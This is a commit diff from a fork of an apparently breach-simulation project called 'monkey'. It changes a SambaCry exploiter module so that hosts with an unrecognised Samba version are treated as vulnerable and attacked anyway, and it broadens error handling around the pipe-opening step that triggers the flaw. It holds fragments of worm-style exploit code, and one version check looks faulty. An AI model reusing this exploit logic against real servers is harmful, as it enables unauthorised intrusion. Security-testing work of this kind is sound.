forked from p34709852/monkey
Fix in sambacry
Sambacry tries to exploit when can't recognize version
This commit is contained in:
parent
3c345679b3
commit
7365f7d6a7
|
@ -37,7 +37,6 @@ class SambaCryExploiter(HostExploiter):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self._config = __import__('config').WormConfiguration
|
self._config = __import__('config').WormConfiguration
|
||||||
|
|
||||||
|
|
||||||
def exploit_host(self, host, depth=-1, src_path=None):
|
def exploit_host(self, host, depth=-1, src_path=None):
|
||||||
if not self.is_vulnerable(host):
|
if not self.is_vulnerable(host):
|
||||||
return False
|
return False
|
||||||
|
@ -203,6 +202,9 @@ class SambaCryExploiter(HostExploiter):
|
||||||
is_vulnerable = True
|
is_vulnerable = True
|
||||||
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"):
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"):
|
||||||
is_vulnerable = True
|
is_vulnerable = True
|
||||||
|
else:
|
||||||
|
# If pattern doesn't match we can't tell what version it is. Better try
|
||||||
|
is_vulnerable = True
|
||||||
|
|
||||||
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
|
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
|
||||||
(host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
|
(host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
|
||||||
|
@ -300,7 +302,7 @@ class SambaCryExploiter(HostExploiter):
|
||||||
try:
|
try:
|
||||||
# the extra / on the beginning is required for the vulnerability
|
# the extra / on the beginning is required for the vulnerability
|
||||||
self.open_pipe(smb_client, "/" + module_path)
|
self.open_pipe(smb_client, "/" + module_path)
|
||||||
except (impacket.smbconnection.SessionError, SessionError) as e:
|
except Exception as e:
|
||||||
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
|
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
|
||||||
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
|
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
|
||||||
return True
|
return True
|
||||||
|
|
Loading…
Reference in New Issue